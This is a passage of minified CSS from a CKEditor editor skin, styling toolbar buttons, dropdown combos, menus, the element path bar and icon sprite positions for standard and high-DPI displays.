2px;border-radius:2px 0 0 2px}.cke_rtl .cke_button{float:right}.cke_hc .cke_button{border:1px solid black;padding:3px 5px;margin:-2px 4px 0 -2px}.cke_button_on{-moz-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc a.cke_button_disabled:hover,.cke_hc a.cke_button_disabled:focus,.cke_hc a.cke_button_disabled:active{border-width:3px;padding:1px 3px}.cke_button_disabled .cke_button_icon{opacity:.3}.cke_hc .cke_button_disabled{opacity:.5}a.cke_button_on:hover,a.cke_button_on:focus,a.cke_button_on:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}a.cke_button_off:hover,a.cke_button_off:focus,a.cke_button_off:active,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{-moz-box-shadow:0 0 1px rgba(0,0,0,.3) inset;-webkit-box-shadow:0 0 1px rgba(0,0,0,.3) inset;box-shadow:0 0 1px rgba(0,0,0,.3) inset;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_button_icon{cursor:inherit;background-repeat:no-repeat;margin-top:1px;width:16px;height:16px;float:left;display:inline-block}.cke_rtl .cke_button_icon{float:right}.cke_hc .cke_button_icon{display:none}.cke_button_label{display:none;padding-left:3px;margin-top:1px;line-height:17px;vertical-align:middle;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5)}.cke_rtl .cke_button_label{padding-right:3px;padding-left:0;float:right}.cke_hc .cke_button_label{padding:0;display:inline-block;font-size:12px}.cke_button_arrow{display:inline-block;margin:8px 0 0 1px;width:0;height:0;cursor:default;vertical-align:top;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_rtl .cke_button_arrow{margin-right:5px;margin-left:0}.cke_hc .cke_button_arrow{font-size:10px;margin:3px -2px 0 3px;width:auto;border:0}.cke_toolbar_separator{float:left;background-color:#c0c0c0;background-color:rgba(0,0,0,.2);margin:5px 2px 0;height:18px;width:1px;-webkit-box-shadow:1px 0 1px rgba(255,255,255,.5);-moz-box-shadow:1px 0 1px rgba(255,255,255,.5);box-shadow:1px 0 1px rgba(255,255,255,.5)}.cke_rtl .cke_toolbar_separator{float:right;-webkit-box-shadow:-1px 0 1px rgba(255,255,255,.1);-moz-box-shadow:-1px 0 1px rgba(255,255,255,.1);box-shadow:-1px 0 1px rgba(255,255,255,.1)}.cke_hc .cke_toolbar_separator{width:0;border-left:1px solid;margin:1px 5px 0 0}.cke_toolbar_break{display:block;clear:left}.cke_rtl .cke_toolbar_break{clear:right}.cke_toolbox_collapser{width:12px;height:11px;float:right;margin:11px 0 0;font-size:0;cursor:default;text-align:center;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_toolbox_collapser:hover{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_toolbox_collapser.cke_toolbox_collapser_min{margin:0 2px 4px}.cke_rtl .cke_toolbox_collapser{float:left}.cke_toolbox_collapser .cke_arrow{display:inline-block;height:0;width:0;font-size:0;margin-top:1px;border-left:3px solid transparent;border-right:3px solid transparent;border-bottom:3px solid #474747;border-top:3px solid transparent}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{margin-top:4px;border-bottom-color:transparent;border-top-color:#474747}.cke_hc .cke_toolbox_collapser .cke_arrow{font-size:8px;width:auto;border:0;margin-top:0;margin-right:2px}.cke_menubutton{display:block}.cke_menuitem span{cursor:default}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#d3d3d3;display:block}.cke_hc .cke_menubutton{padding:2px}.cke_hc .cke_menubutton:hover,.cke_hc .cke_menubutton:focus,.cke_hc .cke_menubutton:active{border:2px solid;padding:0}.cke_menubutton_inner{display:table-row}.cke_menubutton_icon,.cke_menubutton_label,.cke_menuarrow{display:table-cell}.cke_menubutton_icon{background-color:#d7d8d7;opacity:.70;filter:alpha(opacity=70);padding:4px}.cke_hc .cke_menubutton_icon{height:16px;width:0;padding:4px 0}.cke_menubutton:hover .cke_menubutton_icon,.cke_menubutton:focus .cke_menubutton_icon,.cke_menubutton:active .cke_menubutton_icon{background-color:#d0d2d0}.cke_menubutton_disabled:hover .cke_menubutton_icon,.cke_menubutton_disabled:focus .cke_menubutton_icon,.cke_menubutton_disabled:active .cke_menubutton_icon{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_label{padding:0 5px;background-color:transparent;width:100%;vertical-align:middle}.cke_menubutton_disabled .cke_menubutton_label{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_on{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_menubutton_on .cke_menubutton_icon{padding-right:3px}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#eff0ef}.cke_panel_frame .cke_menubutton_label{display:none}.cke_menuseparator{background-color:#d3d3d3;height:1px;filter:alpha(opacity=70);opacity:.70}.cke_menuarrow{background-image:url(images/arrow.png);background-position:0 10px;background-repeat:no-repeat;padding:0 5px}.cke_rtl .cke_menuarrow{background-position:5px -13px;background-repeat:no-repeat}.cke_menuarrow span{display:none}.cke_hc .cke_menuarrow span{vertical-align:middle;display:inline}.cke_combo{display:inline-block;float:left}.cke_rtl .cke_combo{float:right}.cke_hc .cke_combo{margin-top:-2px}.cke_combo_label{display:none;float:left;line-height:26px;vertical-align:top;margin-right:5px}.cke_rtl .cke_combo_label{float:right;margin-left:5px;margin-right:0}.cke_combo_button{cursor:default;display:inline-block;float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_combo_off a.cke_combo_button:hover,.cke_combo_off a.cke_combo_button:focus{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc');outline:0}.cke_combo_off a.cke_combo_button:active,.cke_combo_on a.cke_combo_button{border:1px solid #777;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_combo_on a.cke_combo_button:hover,.cke_combo_on a.cke_combo_button:focus,.cke_combo_on a.cke_combo_button:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}.cke_rtl .cke_combo_button{float:right;margin-left:5px;margin-right:0}.cke_hc a.cke_combo_button{padding:3px}.cke_hc .cke_combo_on a.cke_combo_button,.cke_hc .cke_combo_off a.cke_combo_button:hover,.cke_hc .cke_combo_off a.cke_combo_button:focus,.cke_hc .cke_combo_off a.cke_combo_button:active{border-width:3px;padding:1px}.cke_combo_text{line-height:26px;padding-left:10px;text-overflow:ellipsis;overflow:hidden;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5);width:60px}.cke_rtl .cke_combo_text{float:right;text-align:right;padding-left:0;padding-right:10px}.cke_hc .cke_combo_text{line-height:18px;font-size:12px}.cke_combo_open{cursor:default;display:inline-block;font-size:0;height:19px;line-height:17px;margin:1px 7px 1px;width:5px}.cke_hc .cke_combo_open{height:12px}.cke_combo_arrow{cursor:default;margin:11px 0 0;float:left;height:0;width:0;font-size:0;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_hc .cke_combo_arrow{font-size:10px;width:auto;border:0;margin-top:3px}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{opacity:.3}.cke_path{float:left;margin:-2px 0 2px}.cke_path_item,.cke_path_empty{display:inline-block;float:left;padding:3px 4px;margin-right:2px;cursor:default;text-decoration:none;outline:0;border:0;color:#4c4c4c;text-shadow:0 1px 0 #fff;font-weight:bold;font-size:11px}.cke_rtl .cke_path,.cke_rtl .cke_path_item,.cke_rtl .cke_path_empty{float:right}a.cke_path_item:hover,a.cke_path_item:focus,a.cke_path_item:active{background-color:#bfbfbf;color:#333;text-shadow:0 1px 0 rgba(255,255,255,.5);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);-webkit-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5)}.cke_hc a.cke_path_item:hover,.cke_hc a.cke_path_item:focus,.cke_hc a.cke_path_item:active{border:2px solid;padding:1px 2px}.cke_button__source_label,.cke_button__sourcedialog_label{display:inline}.cke_combo__fontsize .cke_combo_text{width:30px}.cke_combopanel__fontsize{width:120px}.cke_source{font-family:'Courier New',Monospace;font-size:small;background-color:#fff;white-space:pre}.cke_wysiwyg_frame,.cke_wysiwyg_div{background-color:#fff}.cke_chrome{visibility:inherit}.cke_voice_label{display:none}legend.cke_voice_label{display:none}a.cke_button_disabled,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{filter:alpha(opacity = 30)}.cke_button_disabled .cke_button_icon{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#00ffffff,endColorstr=#00ffffff)}.cke_button_off:hover,.cke_button_off:focus,.cke_button_off:active{filter:alpha(opacity = 100)}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{filter:alpha(opacity = 30)}.cke_toolbox_collapser{border:1px solid #a6a6a6}.cke_toolbox_collapser .cke_arrow{margin-top:1px}.cke_hc .cke_top,.cke_hc .cke_bottom,.cke_hc .cke_combo_button,.cke_hc a.cke_combo_button:hover,.cke_hc a.cke_combo_button:focus,.cke_hc .cke_toolgroup,.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc .cke_toolbox_collapser,.cke_hc .cke_toolbox_collapser:hover,.cke_hc .cke_panel_grouptitle{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_rtl .cke_toolgroup,.cke_rtl .cke_toolbar_separator,.cke_rtl .cke_button,.cke_rtl .cke_button *,.cke_rtl .cke_combo,.cke_rtl .cke_combo *,.cke_rtl .cke_path_item,.cke_rtl .cke_path_item *,.cke_rtl .cke_path_empty{float:none}.cke_rtl .cke_toolgroup,.cke_rtl .cke_toolbar_separator,.cke_rtl .cke_combo_button,.cke_rtl .cke_combo_button *,.cke_rtl .cke_button,.cke_rtl .cke_button_icon{display:inline-block;vertical-align:top}.cke_toolbox{display:inline-block;padding-bottom:5px;height:100%}.cke_rtl .cke_toolbox{padding-bottom:0}.cke_toolbar{margin-bottom:5px}.cke_rtl .cke_toolbar{margin-bottom:0}.cke_toolgroup{height:26px}.cke_toolgroup,.cke_combo{position:relative}a.cke_button{float:none;vertical-align:top}.cke_toolbar_separator{display:inline-block;float:none;vertical-align:top;background-color:#c0c0c0}.cke_toolbox_collapser .cke_arrow{margin-top:0}.cke_toolbox_collapser .cke_arrow{border-width:4px}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{border-width:3px}.cke_rtl .cke_button_arrow{padding-top:8px;margin-right:2px}.cke_rtl .cke_combo_inlinelabel{display:table-cell;vertical-align:middle}.cke_menubutton{display:block;height:24px}.cke_menubutton_inner{display:block;position:relative}.cke_menubutton_icon{height:16px;width:16px}.cke_menubutton_icon,.cke_menubutton_label,.cke_menuarrow{display:inline-block}.cke_menubutton_label{width:auto;vertical-align:top;line-height:24px;height:24px;margin:0 10px 0 0}.cke_menuarrow{width:5px;height:6px;padding:0;position:absolute;right:8px;top:10px;background-position:0 0}.cke_rtl .cke_menubutton_icon{position:absolute;right:0;top:0}.cke_rtl .cke_menubutton_label{float:right;clear:both;margin:0 24px 0 10px}.cke_hc .cke_rtl .cke_menubutton_label{margin-right:0}.cke_rtl .cke_menuarrow{left:8px;right:auto;background-position:0 -24px}.cke_hc .cke_menuarrow{top:5px;padding:0 5px}.cke_rtl input.cke_dialog_ui_input_text,.cke_rtl input.cke_dialog_ui_input_password{position:relative}.cke_wysiwyg_div{padding-top:0!important;padding-bottom:0!important}.cke_button__bold_icon {background: url(icons.png) no-repeat 0 -0px !important;}.cke_button__italic_icon {background: url(icons.png) no-repeat 0 -24px !important;}.cke_button__strike_icon {background: url(icons.png) no-repeat 0 -48px !important;}.cke_button__subscript_icon {background: url(icons.png) no-repeat 0 -72px !important;}.cke_button__superscript_icon {background: url(icons.png) no-repeat 0 -96px !important;}.cke_button__underline_icon {background: url(icons.png) no-repeat 0 -120px !important;}.cke_button__blockquote_icon {background: url(icons.png) no-repeat 0 -144px !important;}.cke_rtl .cke_button__copy_icon, .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -168px !important;}.cke_ltr .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -192px !important;}.cke_rtl .cke_button__cut_icon, .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -216px !important;}.cke_ltr .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -240px !important;}.cke_rtl .cke_button__paste_icon, .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -264px !important;}.cke_ltr .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -288px !important;}.cke_button__bgcolor_icon {background: url(icons.png) no-repeat 0 -312px !important;}.cke_button__textcolor_icon {background: url(icons.png) no-repeat 0 -336px !important;}.cke_button__horizontalrule_icon {background: url(icons.png) no-repeat 0 -360px !important;}.cke_button__image_icon {background: url(icons.png) no-repeat 0 -384px !important;}.cke_rtl .cke_button__indent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -408px !important;}.cke_ltr .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -432px !important;}.cke_rtl .cke_button__outdent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -456px !important;}.cke_ltr .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -480px !important;}.cke_button__justifyblock_icon {background: url(icons.png) no-repeat 0 -504px !important;}.cke_button__justifycenter_icon {background: url(icons.png) no-repeat 0 -528px !important;}.cke_button__justifyleft_icon {background: url(icons.png) no-repeat 0 -552px !important;}.cke_button__justifyright_icon {background: url(icons.png) no-repeat 0 -576px !important;}.cke_rtl .cke_button__anchor_icon, .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -600px !important;}.cke_ltr .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -624px !important;}.cke_button__link_icon {background: url(icons.png) no-repeat 0 -648px !important;}.cke_button__unlink_icon {background: url(icons.png) no-repeat 0 -672px !important;}.cke_rtl .cke_button__bulletedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -696px !important;}.cke_ltr .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -720px !important;}.cke_rtl .cke_button__numberedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -744px !important;}.cke_ltr .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -768px !important;}.cke_button__maximize_icon {background: url(icons.png) no-repeat 0 -792px !important;}.cke_rtl .cke_button__pastefromword_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -816px !important;}.cke_ltr .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -840px !important;}.cke_rtl .cke_button__pastetext_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -864px !important;}.cke_ltr .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -888px !important;}.cke_button__removeformat_icon {background: url(icons.png) no-repeat 0 -912px !important;}.cke_rtl .cke_button__source_icon, .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons.png) no-repeat 0 -936px !important;}.cke_ltr .cke_button__source_icon {background: url(icons.png) no-repeat 0 -960px !important;}.cke_button__table_icon {background: url(icons.png) no-repeat 0 -984px !important;}.cke_rtl .cke_button__redo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1008px !important;}.cke_ltr .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1032px !important;}.cke_rtl .cke_button__undo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1056px !important;}.cke_ltr .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1080px !important;}.cke_rtl .cke_button__sourcedialog_icon, .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1104px !important;}.cke_ltr .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1128px !important;}.cke_hidpi .cke_button__bold_icon {background: url(icons_hidpi.png) no-repeat 0 -0px !important;background-size: 16px !important;}.cke_hidpi .cke_button__italic_icon {background: url(icons_hidpi.png) no-repeat 0 -24px !important;background-size: 16px !important;}.cke_hidpi .cke_button__strike_icon {background: url(icons_hidpi.png) no-repeat 0 -48px !important;background-size: 16px !important;}.cke_hidpi .cke_button__subscript_icon {background: url(icons_hidpi.png) no-repeat 0 -72px !important;background-size: 16px !important;}.cke_hidpi .cke_button__superscript_icon {background: url(icons_hidpi.png) no-repeat 0 -96px !important;background-size: 16px !important;}.cke_hidpi .cke_button__underline_icon {background: url(icons_hidpi.png) no-repeat 0 -120px !important;background-size: 16px !important;}.cke_hidpi .cke_button__blockquote_icon {background: url(icons_hidpi.png) no-repeat 0 -144px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__copy_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -168px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__copy_icon,.cke_ltr.cke_hidpi .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -192px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__cut_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -216px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__cut_icon,.cke_ltr.cke_hidpi .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -240px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__paste_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -264px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__paste_icon,.cke_ltr.cke_hidpi .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -288px !important;background-size: 16px !important;}.cke_hidpi .cke_button__bgcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -312px !important;background-size: 16px !important;}.cke_hidpi .cke_button__textcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -336px !important;background-size: 16px !important;}.cke_hidpi .cke_button__horizontalrule_icon {background: url(icons_hidpi.png) no-repeat 0 -360px !important;background-size: 16px !important;}.cke_hidpi .cke_button__image_icon {background: url(icons_hidpi.png) no-repeat 0 -384px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__indent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -408px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__indent_icon,.cke_ltr.cke_hidpi .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -432px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__outdent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -456px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__outdent_icon,.cke_ltr.cke_hidpi .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -480px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyblock_icon {background: url(icons_hidpi.png) no-repeat 0 -504px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifycenter_icon {background: url(icons_hidpi.png) no-repeat 0 -528px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyleft_icon {background: url(icons_hidpi.png) no-repeat 0 -552px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyright_icon {background: url(icons_hidpi.png) no-repeat 0 -576px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__anchor_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -600px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__anchor_icon,.cke_ltr.cke_hidpi .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -624px !important;background-size: 16px !important;}.cke_hidpi .cke_button__link_icon {background: url(icons_hidpi.png) no-repeat 0 -648px !important;background-size: 16px !important;}.cke_hidpi .cke_button__unlink_icon {background: url(icons_hidpi.png) no-repeat 0 -672px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__bulletedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -696px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__bulletedlist_icon,.cke_ltr.cke_hidpi .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -720px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__numberedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -744px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__numberedlist_icon,.cke_ltr.cke_hidpi .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -768px !important;background-size: 16px !important;}.cke_hidpi .cke_button__maximize_icon {background: url(icons_hidpi.png) no-repeat 0 -792px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastefromword_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -816px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastefromword_icon,.cke_ltr.cke_hidpi .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -840px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastetext_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -864px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastetext_icon,.cke_ltr.cke_hidpi .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -888px !important;background-size: 16px !important;}.cke_hidpi .cke_button__removeformat_icon {background: url(icons_hidpi.png) no-repeat 0 -912px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__source_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -936px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__source_icon,.cke_ltr.cke_hidpi .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -960px !important;background-size: 16px !important;}.cke_hidpi .cke_button__table_icon {background: url(icons_hidpi.png) no-repeat 0 -984px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__redo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1008px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__redo_icon,.cke_ltr.cke_hidpi .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1032px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__undo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1056px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__undo_icon,.cke_ltr.cke_hidpi .cke_button__undo_icon 